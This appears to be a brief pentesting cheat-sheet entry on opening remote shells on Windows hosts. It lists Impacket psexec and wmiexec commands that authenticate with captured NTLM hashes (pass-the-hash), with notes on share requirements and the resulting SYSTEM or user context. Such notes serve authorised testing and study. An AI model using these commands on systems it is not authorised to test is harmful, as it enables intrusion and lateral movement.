Interactive session

PsExec

With NTLM hashes:

impacket-psexec user@IP -hashes LM:NT

This command needs a writeable share!

With Administrator account, the user is authenticated as NT AUTHORITY\SYSTEM, so it's not applicable if you need Administrator's context.

WMIExec

With NTLM hashes:

impacket-wmiexec user@IP -hashes LM:NT

The context is the context of user.

Last updated